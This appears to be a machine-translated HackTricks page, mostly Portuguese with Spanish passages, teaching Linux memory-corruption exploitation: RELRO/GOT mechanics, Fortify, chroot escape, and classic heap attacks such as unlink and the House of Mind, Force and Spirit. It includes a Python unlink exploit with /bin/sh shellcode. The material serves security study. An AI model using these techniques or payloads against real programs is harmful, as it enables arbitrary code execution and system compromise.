0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Sem relro:
gef➤ vmmap
Start End Offset Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤ p fgets
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
gef➤ search-pattern 0x7ffff7e4d100
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
Para o binário sem relro, podemos ver que o endereço da entrada got
para fgets
é 0x404018
. Ao olhar para os mapeamentos de memória, vemos que ele está entre 0x404000
e 0x405000
, que possuem as permissões rw
, o que significa que podemos ler e escrever nele. Para o binário com relro, vemos que o endereço da tabela got
para a execução do binário (o pie está habilitado, então esse endereço irá mudar) é 0x555555557fd0
. Nos mapeamentos de memória desse binário, ele está entre 0x0000555555557000
e 0x0000555555558000
, que possuem a permissão de memória r
, o que significa que só podemos ler dele.
Então, qual é o bypass? O bypass típico que eu uso é simplesmente não escrever em regiões de memória que o relro faz ficar somente leitura e encontrar uma maneira diferente de obter a execução de código.
Note que, para que isso aconteça, o binário precisa conhecer previamente os endereços das funções:
- Lazy binding: O endereço de uma função é procurado na primeira vez que a função é chamada. Portanto, a
GOT
precisa ter permissões de escrita durante a execução. - Bind now: Os endereços das funções são resolvidos no início da execução e, em seguida, são dadas permissões somente leitura a seções sensíveis como
.got
,.dtors
,.ctors
,.dynamic
,.jcr
.`**
-z relro**
y**
-z now`**
Para verificar se um programa usa Bind now, você pode fazer:
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
Cuando o binário é carregado na memória e uma função é chamada pela primeira vez, ele pula para a PLT (Procedure Linkage Table), a partir daqui ele faz um salto (jmp) para a GOT e descobre que essa entrada não foi resolvida (contém um endereço seguinte da PLT). Portanto, ele invoca o Runtime Linker ou rtfd para resolver o endereço e salvá-lo na GOT.
Quando uma função é chamada, ela chama a PLT, que tem o endereço da GOT onde o endereço da função é armazenado, redirecionando o fluxo para lá e chamando a função. No entanto, se for a primeira vez que a função é chamada, o que está na GOT é a próxima instrução da PLT, portanto, o fluxo segue o código da PLT (rtfd) e descobre o endereço da função, salva-o na GOT e o chama.
Ao carregar um binário na memória, o compilador informa em qual offset os dados devem ser colocados quando o programa é executado.
Lazy binding -> O endereço da função é procurado apenas na primeira vez que a função é invocada, então a GOT tem permissões de escrita para que, quando for procurado, seja salvo lá e não precise ser procurado novamente.
Bind now -> Os endereços das funções são procurados ao carregar o programa e as permissões das seções .got, .dtors, .ctors, .dynamic, .jcr são alteradas para apenas leitura. -z relro e -z now
Apesar disso, em geral, os programas não são complicados com essas opções, então esses ataques ainda são possíveis.
readelf -l /proc/ID_PROC/exe | grep BIND_NOW -> Para saber se usam o BIND NOW
Fortify Source -D_FORTIFY_SOURCE=1 ou =2
Tenta identificar funções que copiam de um local para outro de forma insegura e substitui a função por uma função segura.
Por exemplo:
char buf[16];
strcpy(buf, source);
Ele identifica como inseguro e, em seguida, substitui strcpy() por __strcpy_chk(), usando o tamanho do buffer como tamanho máximo a ser copiado.
A diferença entre =1 ou =2 é que:
A segunda não permite que %n venha de uma seção com permissões de escrita. Além disso, o parâmetro para acesso direto aos argumentos só pode ser usado se os anteriores forem usados, ou seja, só pode ser usado %3$d se antes for usado %2$d e %1$d
Para mostrar a mensagem de erro, usa-se o argv[0], portanto, se for colocado nele o endereço de outro local (como uma variável global), a mensagem de erro mostrará o conteúdo dessa variável. Pag 191
Substituição do Libsafe
Ativado com: LD_PRELOAD=/lib/libsafe.so.2
ou
"/lib/libsave.so.2" > /etc/ld.so.preload
Ele intercepta chamadas a algumas funções inseguras por outras seguras. Não é padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não para compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD_PRELOAD não funciona em binários com suid).
ASCII Armored Address Space
Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, especialmente em little endian.
ret2plt
Consiste em realizar um ROP de forma que a função strcpy@plt (da plt) seja chamada e aponte para a entrada da GOT e copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz o mesmo apontando para GOT+1 e copia o segundo byte de system()... No final, chama o endereço armazenado na GOT, que será system()
Falso EBP
Para funções que usam o EBP como registro para apontar para os argumentos, ao modificar o EIP e apontar para system(), o EBP também deve ser modificado para apontar para uma área de memória que tenha 2 bytes quaisquer e, em seguida, o endereço de &"/bin/sh".
Jaulas com chroot()
debootstrap -arch=i386 hardy /home/user -> Instala um sistema básico em um subdiretório específico
Um administrador pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..
Instrumentação de código
Valgrind -> Procura por erros
Memcheck
RAD (Return Address Defender)
Insure++
8 Heap Overflows: Exploits básicos
Chunk alocado
prev_size |
size | - Cabeçalho
*mem | Dados
Chunk livre
prev_size |
size |
*fd | Ptr para o próximo chunk
*bk | Ptr para o chunk anterior - Cabeçalho
*mem | Dados
Os chunks livres estão em uma lista duplamente encadeada (bin) e nunca pode haver dois chunks livres juntos (eles são unidos)
No "size", existem bits para indicar: se o chunk anterior está em uso, se o chunk foi alocado usando mmap() e se o chunk pertence à arena primária.
Ao liberar um chunk, se algum dos chunks contíguos estiver livre, eles são mesclados usando a macro unlink() e o novo chunk maior é passado para frontlink() para que seja inserido no bin apropriado.
unlink(){
BK = P->bk; -> O BK do novo chunk é o que o chunk que já estava livre antes tinha
FD = P->fd; -> O FD do novo chunk é o que o chunk que já estava livre antes tinha
FD->bk = BK; -> O BK do próximo chunk aponta para o novo chunk
BK->fd = FD; -> O FD do chunk anterior aponta para o novo chunk
}
Portanto, se conseguirmos modificar P->bk com o endereço de um shellcode e P->fd com o endereço de uma entrada na GOT ou DTORS menos 12, conseguimos:
BK = P->bk = &shellcode
FD = P->fd = &dtor_end - 12
FD->bk = BK -> *((&dtor_end - 12) + 12) = &shellcode
E assim, quando o programa é encerrado, a shellcode é executada.
Além disso, a quarta instrução do unlink() escreve algo e a shellcode precisa ser ajustada para isso:
BK->fd = FD -> *((&shellcode + 8) = (&dtor_end - 12) -> Isso causa a escrita de 4 bytes a partir do 8º byte da shellcode, então a primeira instrução da shellcode deve ser um jmp para pular isso e chegar a alguns nops que levem ao restante da shellcode.
Portanto, o exploit é criado:
No buffer1, inserimos a shellcode começando com um jmp para que ele caia nos nops ou no restante da shellcode. Depois do shell code, preenchemos com dados até chegar ao campo prev_size e size do próximo chunk. Nestes locais, inserimos 0xfffffff0 (para sobrescrever o prev_size e indicar que está livre) e "-4" (0xfffffffc) no size (para que, ao verificar o terceiro chunk, ele vá para o prev_size modificado e pense que o segundo está livre) -> Assim, quando o free() for chamado, ele irá para o size do terceiro, mas na verdade irá para o segundo - 4 e pensará que o segundo chunk está livre. E então ele chamará o unlink().
Ao chamar o unlink(), usamos os primeiros dados do segundo chunk como P->fd, então é lá que colocamos o endereço que queremos sobrescrever - 12 (pois ele adicionará 12 ao endereço armazenado em FD em BK). E nesse endereço, inserimos o segundo endereço encontrado no segundo chunk, que será o endereço do shell code (P->bk falso).
from struct import *
import os
shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12 bytes de preenchimento
shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
prev_size = pack("<I”, 0xfffffff0) #Interessa que o bit que indica que o chunk anterior está livre seja 1
fake_size = pack("<I”, 0xfffffffc) #-4, para que ele pense que o "size" do terceiro chunk está 4 bytes atrás (aponta para prev_size) onde ele verifica se o segundo chunk está livre
addr_sc = pack("<I", 0x0804a008 + 8) #No payload, no início, colocamos 8 bytes de preenchimento
got_free = pack("<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço sobrescrito para que o shell code seja executado na segunda chamada a free)
payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como mencionado, o payload começa com 8 bytes de preenchimento
payload += prev_size + fake_size + got_free + addr_sc #Modificamos o segundo chunk, got_free aponta para onde vamos armazenar o endereço addr_sc + 12
os.system("./8.3.o " + payload)
unset() liberando em sentido inverso (wargame)
Estamos controlando 3 chunks consecutivos e eles são liberados na ordem inversa à reserva.
Nesse caso:
No chunk c, colocamos o shell code.
Usamos o chunk a para sobrescrever o b de forma que o size tenha o bit PREV_INUSE desativado, para que ele pense que o chunk a está livre.
Além disso, sobrescrevemos o size no cabeçalho b para que seja -4.
Então, o programa pensará que "a" está livre e em um bin, então chamará o unlink() para desvinculá-lo. No entanto, como o cabeçalho PREV_SIZE é -4, ele pensará que o chunk "a" realmente começa em b+4. Ou seja, ele fará um unlink() em um chunk que começa em b+4, então em b+12 estará o ponteiro "fd" e em b+16 estará o ponteiro "bk".
Dessa forma, se colocarmos o endereço do shell code em bk e o endereço da função "puts()" - 12 em fd, teremos nosso payload.
Técnica de Frontlink
O frontlink é chamado quando algo é liberado e nenhum dos chunks adjacentes está livre, então não é chamado o unlink(), mas sim o frontlink().
Vulnerabilidade útil quando o malloc que está sendo atacado nunca é liberado (free()).
Requer:
Um buffer que possa ser estourado com a função de entrada de dados.
Um buffer contíguo a este que deve ser liberado e cujo campo fd do cabeçalho será modificado devido ao estouro do buffer anterior.
Um buffer a ser liberado com um tamanho maior que 512, mas menor que o buffer anterior.
Um buffer declarado antes da etapa 3 que permita sobrescrever o prev_size deste.
Dessa forma, ao sobrescrever dois mallocs de forma descontrolada e um de forma controlada, mas que é liberado apenas uma vez, podemos fazer um exploit.
Vulnerabilidade double free()
Se free() for chamado duas vezes com o mesmo ponteiro, dois bins apontarão para o mesmo endereço.
Se quisermos usar um deles novamente, ele será atribuído sem problemas. Se quisermos usar outro, ele será atribuído ao mesmo espaço, então teremos os ponteiros "fd" e "bk" falsificados com os dados que a reserva anterior escreverá.
After free()
Um ponteiro previamente liberado é usado novamente sem controle.
8 Heap Overflows: Exploits avançados
As técnicas Unlink() e FrontLink() foram removidas ao modificar a função unlink().
The house of mind
Apenas uma chamada a free() é necessária para executar código arbitrário. É interessante encontrar um segundo chunk que possa ser estourado por um anterior e liberado.
Uma chamada a free() faz com que seja chamado public_fREe(mem), que faz o seguinte:
mstate ar_ptr;
mchunkptr p;
...
p = mem2chunk(mes); —> Retorna um ponteiro para o endereço onde o chunk começa (mem-8)
...
ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]
...
_int_free(ar_ptr, mem);
}
Em [1], ele verifica o campo size do bit NON_MAIN_ARENA, que pode ser alterado para que a verificação retorne true e execute heap_for_ptr(), que faz um and em "mem", deixando os 2,5 bytes menos significativos como 0 (no nosso caso, de 0x0804a000, deixa 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse uma struct heap_info). De esta forma, podemos controlar un chunk, por exemplo, em 0x0804a000, y cuando se libere un chunk en 0x081002a0, podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo 0x0804a000. Cuando se libere este segundo chunk, heap_for_ptr(ptr)->ar_ptr devolverá lo que hemos escrito en 0x08100000 (ya que se aplica a 0x081002a0 el "and" que vimos antes y de ahí se obtiene el valor de los primeros 4 bytes, el ar_ptr).
De esta forma, se llama a _int_free(ar_ptr, mem), es decir, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){
…
bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;
..}
Como hemos visto antes, podemos controlar el valor de av, ya que es lo que escribimos en el chunk que se va a liberar.
Tal y como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;
Por lo tanto, si escribimos el valor de __DTOR_END__-12 en av->bins[2], en la última instrucción se escribirá en __DTOR_END__ la dirección del segundo chunk.
Es decir, en el primer chunk tenemos que poner al inicio muchas veces la dirección de __DTOR_END__-12 porque de ahí la sacará av->bins[2].
En la dirección donde caiga la dirección del segundo chunk con los últimos 5 ceros, hay que escribir la dirección de este primer chunk para que heap_for_ptr() piense que el ar_ptr está al inicio del primer chunk y saque de ahí el av->bins[2].
En el segundo chunk, gracias al primero, sobrescribimos el prev_size con un jump 0x0c y el size con algo para activar -> NON_MAIN_ARENA.
A continuación, en el chunk 2 ponemos un montón de nops y finalmente la shellcode.
De esta forma, se llamará a _int_free(TROZO1, TROZO2) y seguirá las instrucciones para escribir en __DTOR_END__ la dirección del prev_size del TROZO2, el cual saltará a la shellcode.
Para aplicar esta técnica, se necesitan cumplir algunos requisitos adicionales que complican un poco más el payload.
Esta técnica ya no es aplicable, ya que se aplicó casi el mismo parche que para unlink. Se compara si el nuevo sitio al que se apunta también le está apuntando a él.
Fastbin
Es una variante de The house of mind.
Nos interesa llegar a ejecutar el siguiente código, al cual se llega después de la primera comprobación de la función _int_free().
fb = &(av->fastbins[fastbin_index(size)] —> Siendo fastbin_index(sz) —> (sz >> 3) - 2
…
p->fd = *fb
*fb = p
De esta forma, si se pone en "fb" la dirección de una función en la GOT, en esta dirección se pondrá la dirección del chunk sobrescrito. Para esto, será necesario que la arena esté cerca de las direcciones de dtors. Más exactamente, que av->max_fast esté en la dirección que vamos a sobrescribir.
Dado que con The House of Mind vimos que nosotros controlábamos la posición del av.
Entonces, si en el campo size ponemos un tamaño de 8 + NON_MAIN_ARENA + PREV_INUSE, fastbin_index() nos devolverá fastbins[-1], que apuntará a av->max_fast.
En este caso, av->max_fast será la dirección que se sobrescribirá (no a la que apunte, sino esa posición será la que se sobrescribirá).
Además, se tiene que cumplir que el chunk contiguo al liberado debe ser mayor que 8. Dado que hemos dicho que el size del chunk liberado es 8, en este chunk falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el chunk liberado, habrá que poner al principio un jmp que caiga en nops).
Además, ese mismo chunk falso debe ser menor que av->system_mem. av->system_mem se encuentra 1848 bytes más allá.
Por culpa de los nulos de _DTOR_END_ y de las pocas direcciones en la GOT, ninguna dirección de estas secciones sirve para ser sobrescrita, así que veamos cómo aplicar fastbin para atacar la pila.
Otra forma de ataque es redirigir el av hacia la pila.
Si modificamos el size para que sea 16 en vez de 8, entonces fastbin_index() nos devolverá fastbins[0] y podemos hacer uso de esto para sobrescribir la pila.
Para esto, no debe haber ningún canary ni valores extraños en la pila, de hecho, tenemos que encontrarnos en esta: 4 bytes nulos + EBP + RET.
Los 4 bytes nulos se necesitan para que el av esté a esta dirección y el primer elemento de un av es el mutex que tiene que valer 0.
El av->max_fast será el EBP y será un valor que nos servirá para saltarnos las restricciones.
En el av->fastbins[0] se sobrescribirá con la dirección de p y será el RET, así se saltará a la shellcode.
Además, en av->system_mem (1484 bytes por encima de la posición en la pila) habrá bastante basura que nos permitirá saltarnos la comprobación que se realiza.
Además, se tiene que cumplir que el chunk contiguo al liberado debe ser mayor que 8. Dado que hemos dicho que el size del chunk liberado es 16, en este chunk falso solo tenemos que poner un size mayor que 8 (como además la shellcode irá en el chunk liberado, habrá que poner al principio un jmp que caiga en nops que van después del campo size del nuevo chunk falso).
The House of Spirit
En este caso, buscamos tener un puntero a un malloc que pueda ser alterado por el atacante (por ejemplo, que el puntero esté en el stack debajo de un posible desbordamiento de una variable).
Así, podríamos hacer que este puntero apunte a donde sea. Sin embargo, no cualquier sitio es válido, el tamaño del chunk falso debe ser menor que av->max_fast y, más específicamente, igual al tamaño solicitado en una futura llamada a malloc()+8. Por ello, si sabemos que después de este puntero vulnerable se llama a malloc(40), el tamaño del chunk falso debe ser igual a 48. A Casa da Força
É necessário:
- Um overflow em um chunk que permita sobrescrever o wilderness
- Uma chamada para malloc() com um tamanho definido pelo usuário
- Uma chamada para malloc() cujos dados possam ser definidos pelo usuário
O primeiro passo é sobrescrever o tamanho do chunk wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória grande o suficiente será tratada em _int_malloc() sem a necessidade de expandir o heap.
O segundo passo é alterar o av->top para que aponte para uma área de memória sob o controle do atacante, como a pilha. Em av->top, colocamos &EIP - 8.
Precisamos sobrescrever av->top para que aponte para a área de memória sob o controle do atacante:
victim = av->top;
remainder = chunck_at_offset(victim, nb);
av->top = remainder;
A variável "victim" armazena o valor do endereço do chunk wilderness atual (o av->top atual) e "remainder" é exatamente a soma desse endereço mais a quantidade de bytes solicitados pelo malloc(). Portanto, se &EIP-8 estiver em 0xbffff224 e av->top contiver 0x080c2788, então a quantidade que precisamos reservar no malloc controlado para que av->top aponte para $EIP-8 para o próximo malloc() será:
0xbffff224 - 0x080c2788 = 3086207644.
Assim, o valor alterado será armazenado em av->top e o próximo malloc apontará para o EIP e poderá ser sobrescrito.
É importante saber que o tamanho do novo chunk wilderness deve ser maior do que a solicitação feita pelo último malloc(). Ou seja, se o wilderness estiver apontando para &EIP-8, o tamanho ficará exatamente no campo EBP da pilha.
A Casa do Conhecimento
Corrupção do SmallBin
Os chunks liberados são inseridos no bin de acordo com seu tamanho. Mas antes de serem inseridos, eles são armazenados em unsorted bins. Quando um chunk é liberado, ele não é imediatamente inserido em seu bin, mas permanece em unsorted bins. Em seguida, se um novo chunk for alocado e o chunk anterior liberado puder ser usado, ele será retornado. No entanto, se um chunk maior for alocado, o chunk liberado em unsorted bins será inserido em seu bin apropriado.
Para explorar o código vulnerável, a solicitação de memória deve ser maior que av->max_fast (normalmente 72) e menor que MIN_LARGE_SIZE (512).
Se houver um chunk no bin com o tamanho adequado ao que está sendo solicitado, ele será retornado após ser desvinculado:
bck = victim->bk; Aponta para o chunk anterior, é a única informação que podemos alterar.
bin->bk = bck; O penúltimo chunk se torna o último, caso bck aponte para a pilha, o próximo chunk alocado receberá esse endereço.
bck->fd = bin; Fecha a lista fazendo com que ela aponte para o bin.
São necessários:
Dois mallocs, de modo que o primeiro possa ser estourado depois que o segundo for liberado e inserido em seu bin (ou seja, um malloc maior que o segundo chunk deve ser alocado antes do estouro).
O malloc alocado ao qual o atacante escolhe o endereço deve ser controlado pelo atacante.
O objetivo é o seguinte: se pudermos estourar um heap que tenha um chunk liberado abaixo dele e em seu bin, podemos alterar seu ponteiro bk. Se alterarmos seu ponteiro bk e esse chunk se tornar o primeiro da lista do bin e for alocado, enganaremos o bin e diremos que o último chunk da lista (o próximo a ser oferecido) está no endereço falso que escolhemos (como a pilha ou a GOT, por exemplo). Portanto, se outro chunk for alocado e o atacante tiver permissões nele, ele receberá um chunk na posição desejada e poderá escrever nele.
Após liberar o chunk modificado, é necessário alocar um chunk maior do que o liberado, para que o chunk modificado saia de unsorted bins e seja inserido em seu bin.
Uma vez em seu bin, é hora de modificar o ponteiro bk por meio do estouro para que ele aponte para o endereço que queremos sobrescrever.
Assim, o bin deve esperar até que malloc() seja chamado várias vezes para que o bin modificado seja usado novamente e engane o bin, fazendo-o acreditar que o próximo chunk está no endereço falso. Em seguida, o chunk desejado será fornecido.
Para que a vulnerabilidade seja executada o mais rápido possível, o ideal seria: alocar o chunk vulnerável, alocar o chunk que será modificado, liberar esse chunk, alocar um chunk maior que será modificado, modificar o chunk (vulnerabilidade), alocar um chunk do mesmo tamanho do chunk violado e alocar um segundo chunk do mesmo tamanho, que será o que aponta para o endereço escolhido.
Para proteger esse ataque, é usada a verificação típica de que o chunk "não" é falso: verifica-se se bck->fd está apontando para victim. Ou seja, em nosso caso, se o ponteiro fd* do chunk falso apontado na pilha está apontando para victim. Para contornar essa proteção, o atacante deve ser capaz de escrever de alguma forma (provavelmente na pilha) no endereço adequado o endereço de victim. Para que pareça um chunk verdadeiro.
Corrupção do LargeBin
São necessários os mesmos requisitos que antes e mais alguns, além disso, os chunks alocados devem ser maiores que 512.
O ataque é semelhante ao anterior, ou seja, é necessário modificar o ponteiro bk e todas essas chamadas para malloc(), mas também é necessário modificar o tamanho do chunk modificado de forma que size - nb seja < MINSIZE.
Por exemplo, definir size como 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ser negativa porque é comparada com um valor não assinado).
Além disso, foi introduzido um patch para torná-lo ainda mais complicado.
Heap Spraying Basicamente, consiste em alocar o máximo de memória possível para heaps e preenchê-los com uma sequência de nops seguida de um shellcode. Além disso, como preenchimento, utiliza-se 0x0c. A ideia é tentar saltar para o endereço 0x0c0c0c0c e, assim, se algum endereço que será chamado for sobrescrito com esse preenchimento, o salto será feito para lá. A tática básica é alocar o máximo possível de memória para ver se algum ponteiro é sobrescrito e saltar para 0x0c0c0c0c, esperando que haja nops lá.
Heap Feng Shui
Consiste em alocar e liberar memória de forma a deixar pedaços alocados entre pedaços livres. O buffer a ser estourado será colocado em um desses pedaços.
objdump -d executável —> Desmonta funções
objdump -d ./PROGRAMA | grep FUNCION —> Obtém o endereço da função
objdump -d -Mintel ./shellcodeout —> Para verificar se é realmente nosso shellcode e obter os OpCodes
objdump -t ./exec | grep varBss —> Tabela de símbolos, para obter o endereço de variáveis e funções
objdump -TR ./exec | grep exit(func lib) —> Para obter o endereço de funções de bibliotecas (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Obtém o endereço de puts para sobrescrever na GOT
objdump -D ./exec —> Desmonta TUDO até as entradas da plt
objdump -p -/exec
Info functions strncmp —> Informações da função no gdb
Cursos interessantes
Referências
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Você trabalha em uma empresa de segurança cibernética? Gostaria de ver sua empresa anunciada no HackTricks? Ou gostaria de ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
- Descubra The PEASS Family, nossa coleção exclusiva de NFTs
- Adquira o swag oficial do PEASS & HackTricks
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-me no Twitter 🐦@carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.